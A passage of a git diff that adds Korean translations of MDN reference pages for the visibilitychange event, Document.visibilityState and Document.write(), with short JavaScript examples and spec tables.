scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2> + +<p>{{Compat("api.Document.visibilitychange")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_the_Page_Visibility_API" title="DOM/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li> + <li>{{domxref("Document.visibilityState")}}</li> +</ul> diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..5bbe2eb242 --- /dev/null +++ b/files/ko/web/api/document/visibilitystate/index.html @@ -0,0 +1,56 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.visibilityState</strong></code> 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.</p> + +<ul> + <li><code>'visible'</code> : 페이지 내용은 적어도 부분적으로 보일 수 있습니다. 실제로 이는 페이지가 최소화 되지 않은 창(브라우저)에서의 선택된 탭 을 의미 합니다.</li> + <li><code>'hidden</code>' : 페이지 내용은 사용자에게 표시되지 않습니다. 실제로 이는 document가 background-tap(다른 탭)이거나, 최소화 된 창의 일부이거나, OS 화면 잠금이 활성 상태임을 의미합니다.</li> + <li><code>'prerender'</code> : 페이지 내용이 pre-rendering되어 사용자에게 보이지 않습니다 (document.hidden 목적으로 숨겨진 것으로 간주 합니다.). document는이 상태에서 시작될 수 있지만, 절대로 다른 값에서 이 값으로 전환되지는 않습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li> + <li><code>'unloaded</code>' : 페이지가 메모리에서 로드되지 않았습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li> +</ul> + +<p>이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.</p> + +<p>일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.</p> + +<h2 id="예제">예제</h2> + +<pre class="brush: js">document.addEventListener("visibilitychange", function() { + console.log(document.hidden); + // 숨김 여부가 변했을 때의 행동 +});</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.visibilityState")}}</p> diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html new file mode 100644 index 0000000000..5320bb2861 --- /dev/null +++ b/files/ko/web/api/document/write/index.html @@ -0,0 +1,102 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.</p> + +<div class="note">주: as <code>document.write</code> writes to the document <strong>stream</strong>, calling <code>document.write</code> on a closed (loaded) document automatically calls <code>document.open</code>, <a href="/en-US/docs/Web/API/document.open#Notes">which will clear the document</a>.</div> + +<h2 id="구문">구문</h2> + +<pre class="brush: js">document.write(<em>markup</em>); +</pre> + +<h3 id="매개변수">매개변수</h3> + +<dl> + <dt><code>markup</code></dt> + <dd>document 문성에 씌여질 텍스트를 포함하고 있는 스트링.</dd> +</dl> + +<h3 id="예">예</h3> + +<pre class="brush: html"><html> + +<head> + <title>write example</title> + + <script> + function newContent() { + alert("load new content"); + document.open(); + document.write("<h1>Out with the old - in with the new!</h1>"); + document.close(); + } + </script> +</head> + +<body onload="newContent();"> + <p>Some original document content.</p> +</body> + +</html> +</pre> + +<h2 id="주">주</h2> + +<p>Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call <code>document.open</code>. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the <code>h1</code> element becomes a node in the document.</p> + +<p>If the <code>document.write()</code> call is embedded within an inlined HTML <code><script></code> tag, then it will not call <code>document.open()</code>. For example:</p> + +<pre class="brush: html"><script> + document.write("<h1>Main title</h1>") +</script> +</pre> + +<div class="note"><strong>Note</strong>: <code>document.write</code> and <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">do not work in XHTML documents</a> (you'll get a "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an <code>application/xhtml+xml</code> {{Glossary("MIME type")}}. More information is available in the <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div> + +<div class="note"><strong>Note</strong>: <code>document.write</code> in <a href="/en-US/docs/Web/HTML/Element/script#attr-defer">deferred</a> or <a href="/en-US/docs/Web/HTML/Element/script#attr-async">asynchronous</a> scripts will be ignored, and you'll get a message like "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" in the error console.</div> + +<div class="note"><strong>Note</strong>: In Edge only, calling <code>document.write</code> more than once in an iframe causes the error SCRIPT70: Permission denied.</div> + +<div class="note"><strong>Note</strong>: Starting in 55, Chrome will not execute <code><script></code> elements injected via <code>document.write()</code> in case of an HTTP cache miss for users on a 2G connection.</div> + +<h2 id="사양">사양</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.write")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{ domxref("element.innerHTML") }}</li> + <li>{{ domxref("document.createElement()") }}</li> +</ul> |